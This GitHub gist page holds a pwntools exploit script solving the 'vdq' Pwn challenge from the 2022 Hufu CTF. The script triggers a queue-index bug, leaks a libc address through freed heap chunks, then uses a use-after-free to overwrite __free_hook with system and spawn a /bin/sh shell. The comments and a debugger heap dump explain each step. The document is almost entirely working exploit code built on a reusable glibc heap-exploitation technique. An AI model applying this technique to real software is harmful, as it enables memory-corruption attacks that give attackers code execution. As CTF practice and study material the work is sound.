Skip to content

Instantly share code, notes, and snippets.

@xf1les
Last active April 12, 2022 03:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xf1les/a45bb572f6a509ed0d7c912187f9b774 to your computer and use it in GitHub Desktop.
Save xf1les/a45bb572f6a509ed0d7c912187f9b774 to your computer and use it in GitHub Desktop.
2022 虎符 CTF Pwn 题目 vdq EXP
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context(arch="amd64")
context(log_level="debug")
libc = ELF("./libc-2.27.so")
p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)
libc_sym = lambda x : libc.symbols[x]
libc_symp = lambda x : p64(libc.symbols[x])
libc_os = lambda x : libc.address + x
##
p = process("./vdq")
# https://github.com/Ainevsia/HF2022-vdq-mva-fpbe-static/tree/main/vdq
# https://www.anquanke.com/post/id/258083
pay_with_comment = '''[
// make self.cap = 8
"Add", "Add", "Add", "Add", "Add", "Add",
"Remove", "Remove", "Remove", "Remove", "Remove", "Remove",
// make self.tail = 2
"Add", "Add", "Add", "Add",
"Remove", "Remove", "Remove", "Remove",
// make self.head = 1
"Add", "Add", "Add", "Add", "Add", "Add", "Add",
// trigger BUG, now -> self.head = 8, self.tail = 1
"View",
// The layout of notesq buffer after BUG is triggered
// pwndbg> tele notesq.buf.ptr.pointer
// 00:0000│ 0x56490bfe32f0 —▸ 0x56490bfe5720 ◂— 0x1
// 01:0008│ rax rdi 0x56490bfe32f8 —▸ 0x56490bfe3270 ◂— 0x1 <- tail
// 02:0010│ 0x56490bfe3300 —▸ 0x56490bfe32c0 ◂— 0x1
// 03:0018│ 0x56490bfe3308 —▸ 0x56490bfe2f30 ◂— 0x1
// 04:0020│ 0x56490bfe3310 —▸ 0x56490bfe3380 ◂— 0x1
// 05:0028│ 0x56490bfe3318 —▸ 0x56490bfe3220 ◂— 0x1
// 06:0030│ 0x56490bfe3320 —▸ 0x56490bfe31f0 ◂— 0x1
// 07:0038│ 0x56490bfe3328 —▸ 0x56490bfe5720 ◂— 0x1
<- head
//
// Note that notesq[0] == notesq[7]
// Free chunks into unsorted bin (notesq[1..7])
"Remove", "Remove", "Remove", "Remove","Remove", "Remove", "Remove",
// Leak libc address (from notesq[1])
"View",
// UAF, make notesq[0].msg.ptr = &__free_hook-0x50a-8
// (Here we can get a chunk which was previously notesq[7].msg)
"Add",
// Write __free_hook (notesq[0])
"Append"
]
$'''
pay = '''[
"Add", "Add", "Add", "Add", "Add", "Add",
"Remove", "Remove", "Remove", "Remove", "Remove", "Remove",
"Add", "Add", "Add", "Add",
"Remove", "Remove", "Remove", "Remove",
"Add", "Add", "Add", "Add", "Add", "Add", "Add",
"View",
"Remove", "Remove", "Remove", "Remove","Remove", "Remove", "Remove",
"View",
"Add", "Append"
]
$'''
p_sl(pay, '!\n')
for i in range(6+4):
p_sl(b'', ': \n')
for i in range(7):
p_sl(b'a'*(0x500), ': \n')
p.recvuntil("Cached notes:\n")
p.recvuntil('Cached notes:\n -> ' + 'a' * 0x500 + '\n -> ')
data = p.recv(2*8)
# Reverse the byte order of received hex string
# ' -> a05c9a4f3d7f0000a05c9a4f3d7f000000000...'
addr = b''
for i in range(0, len(data), 2):
addr = data[i:i+2] + addr
libc.address = int(addr, 16) - 0x3ebca0
info("libcbase: 0x%lx", libc.address)
# The struct of notesq[0].msg is like:
# ptr
# cap
# size
#
# Do not corrupt size (which is 0x50a here),
# or we can't get the notesq[7].msg chunk from tcache since payload is too long.
pp = flat([
1, 0x12,
libc_sym('__free_hook')-0x50a-8, # ptr
0x800 # cap
])
p_sl(pp, ': \n')
p_sl(b'/bin/sh\x00'+ libc_symp('system'), ': \n')
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment